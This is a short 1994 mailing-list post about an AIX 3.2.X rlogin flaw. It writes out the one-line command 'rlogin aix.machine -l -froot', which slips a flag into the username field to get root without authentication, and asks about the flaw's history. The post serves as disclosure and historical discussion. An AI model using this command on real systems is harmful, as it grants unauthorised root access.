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-froot??? (AIX rlogin bug)
From: ericw () fx com (Eric Wedaa)
Date: Fri, 29 Jul 94 09:36:20 PDT
Someone over on the firewalls mailing list just threw out this tidbit: rlogin aix.machine -l -froot For instance: rlogin foobar -l -froot This gives you root access on any AIX 3.2.X machine. Does anyone have any history on this trapdoor? Apparently it also existed in Linux several generations ago.
Ericw
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